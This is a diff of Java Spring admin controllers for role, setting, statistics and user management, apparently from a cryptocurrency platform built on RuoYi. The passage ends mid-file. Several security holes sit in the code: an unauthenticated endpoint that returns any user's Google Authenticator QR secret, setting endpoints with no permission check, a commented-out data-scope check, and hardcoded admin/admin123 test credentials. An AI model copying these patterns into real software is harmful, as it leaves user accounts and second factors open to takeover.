package com.ruoyi.web.controller.system;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysDept;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.framework.web.service.SysPermissionService;
import com.ruoyi.framework.web.service.TokenService;
import com.ruoyi.system.domain.SysUserRole;
import com.ruoyi.system.service.ISysDeptService;
import com.ruoyi.system.service.ISysRoleService;
import com.ruoyi.system.service.ISysUserService;
/**
* 角色信息
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/role")
public class SysRoleController extends BaseController
{
@Autowired
private ISysRoleService roleService;
@Autowired
private TokenService tokenService;
@Autowired
private SysPermissionService permissionService;
@Autowired
private ISysUserService userService;
@Autowired
private ISysDeptService deptService;
@PreAuthorize("@ss.hasPermi('system:role:list')")
@GetMapping("/list")
public TableDataInfo list(SysRole role)
{
startPage();
List<SysRole> list = roleService.selectRoleList(role);
return getDataTable(list);
}
@Log(title = "角色管理", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('system:role:export')")
@PostMapping("/export")
public void export(HttpServletResponse response, SysRole role)
{
List<SysRole> list = roleService.selectRoleList(role);
ExcelUtil<SysRole> util = new ExcelUtil<SysRole>(SysRole.class);
util.exportExcel(response, list, "角色数据");
}
/**
* 根据角色编号获取详细信息
*/
@PreAuthorize("@ss.hasPermi('system:role:query')")
@GetMapping(value = "/{roleId}")
public AjaxResult getInfo(@PathVariable Long roleId)
{
roleService.checkRoleDataScope(roleId);
return success(roleService.selectRoleById(roleId));
}
/**
* 新增角色
*/
@PreAuthorize("@ss.hasPermi('system:role:add')")
@Log(title = "角色管理", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@Validated @RequestBody SysRole role)
{
if (!roleService.checkRoleNameUnique(role))
{
return error("新增角色'" + role.getRoleName() + "'失败,角色名称已存在");
}
else if (!roleService.checkRoleKeyUnique(role))
{
return error("新增角色'" + role.getRoleName() + "'失败,角色权限已存在");
}
role.setCreateBy(getUsername());
return toAjax(roleService.insertRole(role));
}
/**
* 修改保存角色
*/
@PreAuthorize("@ss.hasPermi('system:role:edit')")
@Log(title = "角色管理", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@Validated @RequestBody SysRole role)
{
roleService.checkRoleAllowed(role);
roleService.checkRoleDataScope(role.getRoleId());
if (!roleService.checkRoleNameUnique(role))
{
return error("修改角色'" + role.getRoleName() + "'失败,角色名称已存在");
}
else if (!roleService.checkRoleKeyUnique(role))
{
return error("修改角色'" + role.getRoleName() + "'失败,角色权限已存在");
}
role.setUpdateBy(getUsername());
if (roleService.updateRole(role) > 0)
{
// 更新缓存用户权限
LoginUser loginUser = getLoginUser();
if (StringUtils.isNotNull(loginUser.getUser()) && !loginUser.getUser().isAdmin())
{
loginUser.setPermissions(permissionService.getMenuPermission(loginUser.getUser()));
loginUser.setUser(userService.selectUserByUserName(loginUser.getUser().getUserName()));
tokenService.setLoginUser(loginUser);
}
return success();
}
return error("修改角色'" + role.getRoleName() + "'失败,请联系管理员");
}
/**
* 修改保存数据权限
*/
@PreAuthorize("@ss.hasPermi('system:role:edit')")
@Log(title = "角色管理", businessType = BusinessType.UPDATE)
@PutMapping("/dataScope")
public AjaxResult dataScope(@RequestBody SysRole role)
{
roleService.checkRoleAllowed(role);
roleService.checkRoleDataScope(role.getRoleId());
return toAjax(roleService.authDataScope(role));
}
/**
* 状态修改
*/
@PreAuthorize("@ss.hasPermi('system:role:edit')")
@Log(title = "角色管理", businessType = BusinessType.UPDATE)
@PutMapping("/changeStatus")
public AjaxResult changeStatus(@RequestBody SysRole role)
{
roleService.checkRoleAllowed(role);
roleService.checkRoleDataScope(role.getRoleId());
role.setUpdateBy(getUsername());
return toAjax(roleService.updateRoleStatus(role));
}
/**
* 删除角色
*/
@PreAuthorize("@ss.hasPermi('system:role:remove')")
@Log(title = "角色管理", businessType = BusinessType.DELETE)
@DeleteMapping("/{roleIds}")
public AjaxResult remove(@PathVariable Long[] roleIds)
{
return toAjax(roleService.deleteRoleByIds(roleIds));
}
/**
* 获取角色选择框列表
*/
@PreAuthorize("@ss.hasPermi('system:role:query')")
@GetMapping("/optionselect")
public AjaxResult optionselect()
{
return success(roleService.selectRoleAll());
}
/**
* 查询已分配用户角色列表
*/
@PreAuthorize("@ss.hasPermi('system:role:list')")
@GetMapping("/authUser/allocatedList")
public TableDataInfo allocatedList(SysUser user)
{
startPage();
List<SysUser> list = userService.selectAllocatedList(user);
return getDataTable(list);
}
/**
* 查询未分配用户角色列表
*/
@PreAuthorize("@ss.hasPermi('system:role:list')")
@GetMapping("/authUser/unallocatedList")
public TableDataInfo unallocatedList(SysUser user)
{
startPage();
List<SysUser> list = userService.selectUnallocatedList(user);
return getDataTable(list);
}
/**
* 取消授权用户
*/
@PreAuthorize("@ss.hasPermi('system:role:edit')")
@Log(title = "角色管理", businessType = BusinessType.GRANT)
@PutMapping("/authUser/cancel")
public AjaxResult cancelAuthUser(@RequestBody SysUserRole userRole)
{
return toAjax(roleService.deleteAuthUser(userRole));
}
/**
* 批量取消授权用户
*/
@PreAuthorize("@ss.hasPermi('system:role:edit')")
@Log(title = "角色管理", businessType = BusinessType.GRANT)
@PutMapping("/authUser/cancelAll")
public AjaxResult cancelAuthUserAll(Long roleId, Long[] userIds)
{
return toAjax(roleService.deleteAuthUsers(roleId, userIds));
}
/**
* 批量选择用户授权
*/
@PreAuthorize("@ss.hasPermi('system:role:edit')")
@Log(title = "角色管理", businessType = BusinessType.GRANT)
@PutMapping("/authUser/selectAll")
public AjaxResult selectAuthUserAll(Long roleId, Long[] userIds)
{
roleService.checkRoleDataScope(roleId);
return toAjax(roleService.insertAuthUsers(roleId, userIds));
}
/**
* 获取对应角色部门树列表
*/
@PreAuthorize("@ss.hasPermi('system:role:query')")
@GetMapping(value = "/deptTree/{roleId}")
public AjaxResult deptTree(@PathVariable("roleId") Long roleId)
{
AjaxResult ajax = AjaxResult.success();
ajax.put("checkedKeys", deptService.selectDeptListByRoleId(roleId));
ajax.put("depts", deptService.selectDeptTreeList(new SysDept()));
return ajax;
}
}

265
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysSettingController.java

@ -0,0 +1,265 @@
package com.ruoyi.web.controller.system;
import cn.hutool.json.JSONUtil;
import com.ruoyi.bussiness.domain.setting.*;
import com.ruoyi.bussiness.service.SettingService;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.enums.SettingEnum;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import io.swagger.annotations.ApiOperation;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.*;
import javax.annotation.Resource;
import java.util.*;
import java.util.stream.Collectors;
@RestController
@RequestMapping("/setting")
public class SysSettingController extends BaseController {
@Resource
private SettingService settingService;
@PutMapping(value = "/put/{key}")
public AjaxResult saveConfig(@PathVariable String key, @RequestBody String configValue) {
SettingEnum settingEnum = SettingEnum.valueOf(key);
if(settingEnum.equals(SettingEnum.WITHDRAWAL_CHANNEL_SETTING) || settingEnum.equals(SettingEnum.ASSET_COIN)){
LoginUser loginUser = SecurityUtils.getLoginUser();
if(!loginUser.getUser().isAdmin()){
return AjaxResult.success("您没有操作权限,请联系管理员!");
}
}
//获取系统配置
Setting setting = settingService.getById(settingEnum.name());
if (setting == null) {
setting = new Setting();
setting.setId(settingEnum.name());
}
//特殊配置过滤
configValue = filter(settingEnum, configValue);
setting.setSettingValue(configValue);
settingService.saveUpdate(setting);
return AjaxResult.success();
}
@ApiOperation(value = "查看配置")
@GetMapping(value = "/get/{key}")
public AjaxResult settingGet(@PathVariable String key) {
return createSetting(key);
}
/**
* 对配置进行过滤
*
* @param settingEnum
* @param configValue
*/
private String filter(SettingEnum settingEnum, String configValue) {
if (settingEnum.equals(SettingEnum.APP_SIDEBAR_SETTING)) {
Setting setting = settingService.get(SettingEnum.APP_SIDEBAR_SETTING.name());
AppSidebarSetting appSidebar = JSONUtil.toBean(configValue, AppSidebarSetting.class);
List<AppSidebarSetting> list;
if (Objects.nonNull(setting)){
list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class);
}else{
list = new ArrayList<>();
}
List<AppSidebarSetting> copyList = new ArrayList<>();
if (!CollectionUtils.isEmpty(list)){
copyList.addAll(list);
Boolean flag = true;
for (AppSidebarSetting a:copyList) {
if (appSidebar.getKey().equals(a.getKey())){
flag = false;
}
}
if (flag){
list.add(appSidebar);
copyList.add(appSidebar);
}
//修改还是删除
for (AppSidebarSetting a:copyList) {
if (StringUtils.isNotEmpty(appSidebar.getName()) && appSidebar.getKey().equals(a.getKey())){
list.remove(a);
list.add(appSidebar);
break;
}
if (StringUtils.isEmpty(appSidebar.getName()) && appSidebar.getKey().equals(a.getKey())){
list.remove(a);
break;
}
}
}else{
list.add(appSidebar);
}
configValue = JSONUtil.toJsonStr(list);
}
return configValue;
}
/**
* 获取表单
* 这里主要包含一个配置对象为空导致转换异常问题的处理解决配置项增加减少带来的系统异常无法直接配置
*
* @param key
* @return
* @throws InstantiationException
* @throws IllegalAccessException
*/
private AjaxResult createSetting(String key) {
SettingEnum settingEnum = SettingEnum.valueOf(key);
Setting setting = settingService.get(key);
switch (settingEnum) {
case BASE_SETTING:
return setting == null ?
AjaxResult.success(new BaseSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), BaseSetting.class));
case APP_SIDEBAR_SETTING:
return setting == null ?
AjaxResult.success(new ArrayList<AppSidebarSetting>()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class)
.stream().sorted(Comparator.comparing(AppSidebarSetting::getSort)).collect(Collectors.toList()));
case EMAIL_SETTING:
return setting == null ?
AjaxResult.success(new EmailSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), EmailSetting.class));
case OSS_SETTING:
return setting == null ?
AjaxResult.success(new OssSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), OssSetting.class));
case SMS_SETTING:
return setting == null ?
AjaxResult.success(new SmsSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), SmsSetting.class));
case ASSET_COIN:
return setting == null ?
AjaxResult.success(new AssetCoinSetting()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class));
case MARKET_URL:
return setting == null ?
AjaxResult.success(new MarketUrlSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class));
case LOGIN_REGIS_SETTING:
return setting == null ?
AjaxResult.success(new LoginRegisSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LoginRegisSetting.class));
case LOAD_SETTING:
return setting == null ?
AjaxResult.success(new LoadSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class));
case WITHDRAWAL_CHANNEL_SETTING:
return setting == null ?
AjaxResult.success(new TRechargeChannelSetting()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class));
case FINANCIAL_SETTLEMENT_SETTING:
return setting == null ?
AjaxResult.success(new FinancialSettlementSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), FinancialSettlementSetting.class));
case PLATFORM_SETTING:
return setting == null ?
AjaxResult.success(new PlatformSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), PlatformSetting.class));
case WHITE_IP_SETTING:
return setting == null ?
AjaxResult.success(new ArrayList<WhiteIpSetting>()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), WhiteIpSetting.class));
case SUPPORT_STAFF_SETTING:
return setting == null ?
AjaxResult.success(new ArrayList<SupportStaffSetting>()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), SupportStaffSetting.class));
case RECHARGE_REBATE_SETTING:
return setting == null ?
AjaxResult.success(new RechargeRebateSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), RechargeRebateSetting.class));
case FINANCIAL_REBATE_SETTING:
return setting == null ?
AjaxResult.success(new FinancialRebateSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), FinancialRebateSetting.class));
case MING_SETTLEMENT_SETTING:
return setting == null ?
AjaxResult.success(new MingSettlementSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), MingSettlementSetting.class));
case WITHDRAWAL_RECHARGE_VOICE:
return setting == null ?
AjaxResult.success(new VoiceSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), VoiceSetting.class));
case WHITE_PAPER_SETTING:
return setting == null ?
AjaxResult.success(new WhitePaperSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), WhitePaperSetting.class));
case DEFI_INCOME_SETTING:
return setting == null ?
AjaxResult.success(new DefiIncomeSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), DefiIncomeSetting.class));
case TAB_SETTING:
return setting == null ?
AjaxResult.success(new TabSetting()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TabSetting.class));
case PLAYING_SETTING:
return setting == null ?
AjaxResult.success(new ArrayList<PlayingSetting>()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), PlayingSetting.class));
case BOTTOM_MENU_SETTING:
return setting == null ?
AjaxResult.success(new ArrayList<BottomMenuSetting>()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), BottomMenuSetting.class));
case MIDDLE_MENU_SETTING:
return setting == null ?
AjaxResult.success(new ArrayList<MiddleMenuSetting>()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), MiddleMenuSetting.class));
case LOGO_SETTING:
return setting == null ?
AjaxResult.success(new LogoSetting()) :
AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LogoSetting.class));
case HOME_COIN_SETTING:
return setting == null ?
AjaxResult.success(new ArrayList<HomeCoinSetting>()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), HomeCoinSetting.class));
case DOWNLOAD_SETTING:
return setting == null ?
AjaxResult.success(new ArrayList<DownloadSetting>()) :
AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), DownloadSetting.class));
case TG_BOT_SETTING:
return setting == null ?
AjaxResult.success(new HomeCoinSetting()) :
AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), TgBotSetting.class));
case AUTH_LIMIT:
return setting == null ?
AjaxResult.success(new AuthLimitSetting ()) :
AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), AuthLimitSetting.class));
case THIRD_CHANNL:
return setting == null ?
AjaxResult.success(new ArrayList<ThirdPaySetting> ()) :
AjaxResult.success( (JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), ThirdPaySetting.class)));
case VIP_LEVEL_SETTING:
return setting == null ?
AjaxResult.success(new VipLevelSetting ()) :
AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), VipLevelSetting.class));
case VIP_DIRECTIONS_SETTING:
return setting == null ?
AjaxResult.success(new ArrayList<VipDirectionsSetting> ()) :
AjaxResult.success( (JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), VipDirectionsSetting.class)));
case ADD_MOSAIC_SETTING:
return setting == null ?
AjaxResult.success(new AddMosaicSetting ()) :
AjaxResult.success( JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class));
default:
return AjaxResult.success();
}
}
}

45
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysStatisticsController.java

@ -0,0 +1,45 @@
package com.ruoyi.web.controller.system;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.system.service.ISysStatisticsService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* 参数配置 信息操作处理
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/statistics")
public class SysStatisticsController extends BaseController {
@Autowired
private ISysStatisticsService statisticsService;
/**
* 获取首页数据统计列表
*/
@GetMapping("/dataList")
public AjaxResult dataList() {
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if (user != null) {
String userType = user.getUserType();
String parentId = "";
if (user.isAdmin() || ("0").equals(userType)) {
parentId = null;
} else {
parentId = user.getUserId().toString();
}
return success(statisticsService.getDataList(parentId));
}
return error();
}
}

330
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java

@ -0,0 +1,330 @@
package com.ruoyi.web.controller.system;
import java.io.OutputStream;
import java.util.List;
import java.util.stream.Collectors;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TAppUser;
import com.ruoyi.bussiness.service.ITAppUserService;
import com.ruoyi.common.config.RuoYiConfig;
import com.ruoyi.common.utils.GoogleAuthenticator;
import com.ruoyi.common.utils.QrCodeUtil;
import org.apache.commons.lang3.ArrayUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysDept;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.system.service.ISysDeptService;
import com.ruoyi.system.service.ISysPostService;
import com.ruoyi.system.service.ISysRoleService;
import com.ruoyi.system.service.ISysUserService;
/**
* 用户信息
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/user")
public class SysUserController extends BaseController
{
@Autowired
private ISysUserService userService;
@Autowired
private ISysRoleService roleService;
@Autowired
private ISysDeptService deptService;
@Autowired
private ISysPostService postService;
@Autowired
private ITAppUserService tAppUserService;
/**
* 获取用户列表
*/
@PreAuthorize("@ss.hasPermi('system:user:list')")
@GetMapping("/list")
public TableDataInfo list(SysUser user)
{
startPage();
List<SysUser> list = userService.selectUserList(user);
return getDataTable(list);
}
@Log(title = "用户管理", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('system:user:export')")
@PostMapping("/export")
public void export(HttpServletResponse response, SysUser user)
{
List<SysUser> list = userService.selectUserList(user);
ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
util.exportExcel(response, list, "用户数据");
}
@Log(title = "用户管理", businessType = BusinessType.IMPORT)
@PreAuthorize("@ss.hasPermi('system:user:import')")
@PostMapping("/importData")
public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception
{
ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
List<SysUser> userList = util.importExcel(file.getInputStream());
String operName = getUsername();
String message = userService.importUser(userList, updateSupport, operName);
return success(message);
}
@PostMapping("/importTemplate")
public void importTemplate(HttpServletResponse response)
{
ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
util.importTemplateExcel(response, "用户数据");
}
/**
* 根据用户编号获取详细信息
*/
@PreAuthorize("@ss.hasPermi('system:user:query')")
@GetMapping(value = { "/getInfo/","/getInfo/{userId}" })
public AjaxResult getInfo(@PathVariable(value = "userId", required = false) Long userId)
{
// userService.checkUserDataScope(userId);
AjaxResult ajax = AjaxResult.success();
List<SysRole> roles = roleService.selectRoleAll();
ajax.put("roles", SysUser.isAdmin(userId) ? roles : roles.stream().filter(r -> !r.isAdmin()).collect(Collectors.toList()));
ajax.put("posts", postService.selectPostAll());
if (StringUtils.isNotNull(userId))
{
SysUser sysUser = userService.selectUserById(userId);
ajax.put(AjaxResult.DATA_TAG, sysUser);
ajax.put("postIds", postService.selectPostListByUserId(userId));
ajax.put("roleIds", sysUser.getRoles().stream().map(SysRole::getRoleId).collect(Collectors.toList()));
}
return ajax;
}
/**
* 新增用户
*/
@PreAuthorize("@ss.hasPermi('system:user:add')")
@Log(title = "用户管理", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@Validated @RequestBody SysUser user)
{
if (!userService.checkUserNameUnique(user))
{
return error("新增用户'" + user.getUserName() + "'失败,登录账号已存在");
}
else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user))
{
return error("新增用户'" + user.getUserName() + "'失败,手机号码已存在");
}
else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user))
{
return error("新增用户'" + user.getUserName() + "'失败,邮箱账号已存在");
}
user.setCreateBy(getUsername());
user.setPassword(SecurityUtils.encryptPassword(user.getPassword()));
return toAjax(userService.insertUser(user));
}
/**
* 修改用户
*/
@PreAuthorize("@ss.hasPermi('system:user:edit')")
@Log(title = "用户管理", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@Validated @RequestBody SysUser user)
{
userService.checkUserAllowed(user);
userService.checkUserDataScope(user.getUserId());
if (!userService.checkUserNameUnique(user))
{
return error("修改用户'" + user.getUserName() + "'失败,登录账号已存在");
}
else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user))
{
return error("修改用户'" + user.getUserName() + "'失败,手机号码已存在");
}
else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user))
{
return error("修改用户'" + user.getUserName() + "'失败,邮箱账号已存在");
}
user.setUpdateBy(getUsername());
return toAjax(userService.updateUser(user));
}
/**
* 删除用户
*/
@PreAuthorize("@ss.hasPermi('system:user:remove')")
@Log(title = "用户管理", businessType = BusinessType.DELETE)
@DeleteMapping("/{userIds}")
public AjaxResult remove(@PathVariable Long[] userIds)
{
if (ArrayUtils.contains(userIds, getUserId()))
{
return error("当前用户不能删除");
}
return toAjax(userService.deleteUserByIds(userIds));
}
/**
* 重置密码
*/
@PreAuthorize("@ss.hasPermi('system:user:resetPwd')")
@Log(title = "用户管理", businessType = BusinessType.UPDATE)
@PutMapping("/resetPwd")
public AjaxResult resetPwd(@RequestBody SysUser user)
{
userService.checkUserAllowed(user);
userService.checkUserDataScope(user.getUserId());
user.setPassword(SecurityUtils.encryptPassword(user.getPassword()));
user.setUpdateBy(getUsername());
return toAjax(userService.resetPwd(user));
}
/**
* 状态修改
*/
@PreAuthorize("@ss.hasPermi('system:user:edit')")
@Log(title = "用户管理", businessType = BusinessType.UPDATE)
@PutMapping("/changeStatus")
public AjaxResult changeStatus(@RequestBody SysUser user)
{
userService.checkUserAllowed(user);
userService.checkUserDataScope(user.getUserId());
user.setUpdateBy(getUsername());
return toAjax(userService.updateUserStatus(user));
}
/**
* 根据用户编号获取授权角色
*/
@PreAuthorize("@ss.hasPermi('system:user:query')")
@GetMapping("/authRole/{userId}")
public AjaxResult authRole(@PathVariable("userId") Long userId)
{
AjaxResult ajax = AjaxResult.success();
SysUser user = userService.selectUserById(userId);
List<SysRole> roles = roleService.selectRolesByUserId(userId);
ajax.put("user", user);
ajax.put("roles", SysUser.isAdmin(userId) ? roles : roles.stream().filter(r -> !r.isAdmin()).collect(Collectors.toList()));
return ajax;
}
/**
* 用户授权角色
*/
@PreAuthorize("@ss.hasPermi('system:user:edit')")
@Log(title = "用户管理", businessType = BusinessType.GRANT)
@PutMapping("/authRole")
public AjaxResult insertAuthRole(Long userId, Long[] roleIds)
{
userService.checkUserDataScope(userId);
userService.insertUserAuth(userId, roleIds);
return success();
}
/**
* 获取部门树列表
*/
@PreAuthorize("@ss.hasPermi('system:user:list')")
@GetMapping("/deptTree")
public AjaxResult deptTree(SysDept dept)
{
return success(deptService.selectDeptTreeList(dept));
}
@Log(title = "查询未绑定的代理用户", businessType = BusinessType.UPDATE)
@PreAuthorize("@ss.hasPermi('system:user:selectUnboundAdminUser')")
@GetMapping("/selectUnboundAdminUser")
public TableDataInfo selectUnboundAdminUser(SysUser user)
{
startPage();
List<SysUser> list = userService.selectUnboundAdminUser(user);
return getDataTable(list);
}
@Log(title = "绑定代理用户", businessType = BusinessType.UPDATE)
@PreAuthorize("@ss.hasPermi('system:user:bindingAdminUser')")
@GetMapping("/bindingAdminUser")
public AjaxResult bindingAdminUser(Long userId, Long[] adminUserIds)
{
return toAjax(userService.bindingAdminUser(userId,adminUserIds));
}
@Log(title = "绑定普通玩家用户", businessType = BusinessType.UPDATE)
@PreAuthorize("@ss.hasPermi('system:user:bindingAppUser')")
@GetMapping("/bindingAppUser")
public AjaxResult bindingAppUser(Long userId, Long[] appUserIds)
{
return toAjax(userService.bindingAppUser(userId,appUserIds));
}
@Log(title = "更新google验证码", businessType = BusinessType.UPDATE)
@PreAuthorize("@ss.hasPermi('system:user:updateCode')")
@GetMapping("/updateCode")
public void genQrCode(Long userId, HttpServletResponse response) throws Exception{
SysUser user = userService.selectUserById(userId);
// Long[] role = roleService.selectRoleIdByUid(userId);
// user.setRoleIds(role);
String key = GoogleAuthenticator.getRandomSecretKey();
user.setGoogleKey(key);
userService.updateUserForGoogleKey(user);
String bar = GoogleAuthenticator.getGoogleAuthenticatorBarCode(key,user.getUserName(), RuoYiConfig.getGoogleHost());
response.setContentType("image/png");
OutputStream stream = response.getOutputStream();
QrCodeUtil.encode(bar,stream);
}
@Log(title = "查看google验证码", businessType = BusinessType.OTHER)
// @PreAuthorize("@ss.hasPermi('system:user:googleCode')")
@GetMapping("/googleCode")
public void code(Long userId, HttpServletResponse response) throws Exception{
SysUser user = userService.selectUserById(userId);
if(null==user.getGoogleKey()){
response.setContentType("application/json");
OutputStream stream = response.getOutputStream();
String ret = "您还没有开通google验证,请先更新google验证来开通...";
stream.write(ret.getBytes());
return;
}
String bar = GoogleAuthenticator.getGoogleAuthenticatorBarCode(user.getGoogleKey(),user.getUserName(), RuoYiConfig.getGoogleHost());
response.setContentType("image/png");
OutputStream stream = response.getOutputStream();
QrCodeUtil.encode(bar,stream);
}
@Log(title = "查询所有的代理用户", businessType = BusinessType.UPDATE)
@PreAuthorize("@ss.hasPermi('system:user:selectAllAgentUser')")
@GetMapping("/selectAllAgentUser")
public TableDataInfo selectAllAgentUser(SysUser user)
{
List<SysUser> list = userService.selectAllAgentUser(user);
return getDataTable(list);
}
}

183
ruoyi-admin/src/main/java/com/ruoyi/web/controller/tool/TestController.java

@ -0,0 +1,183 @@
package com.ruoyi.web.controller.tool;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.R;
import com.ruoyi.common.utils.StringUtils;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiImplicitParam;
import io.swagger.annotations.ApiImplicitParams;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import io.swagger.annotations.ApiOperation;
/**
* swagger 用户测试方法
*
* @author ruoyi
*/
@Api("用户信息管理")
@RestController
@RequestMapping("/test/user")
public class TestController extends BaseController
{
private final static Map<Integer, UserEntity> users = new LinkedHashMap<Integer, UserEntity>();
{
users.put(1, new UserEntity(1, "admin", "admin123", "15888888888"));
users.put(2, new UserEntity(2, "ry", "admin123", "15666666666"));
}
@ApiOperation("获取用户列表")
@GetMapping("/list")
public R<List<UserEntity>> userList()
{
List<UserEntity> userList = new ArrayList<UserEntity>(users.values());
return R.ok(userList);
}
@ApiOperation("获取用户详细")
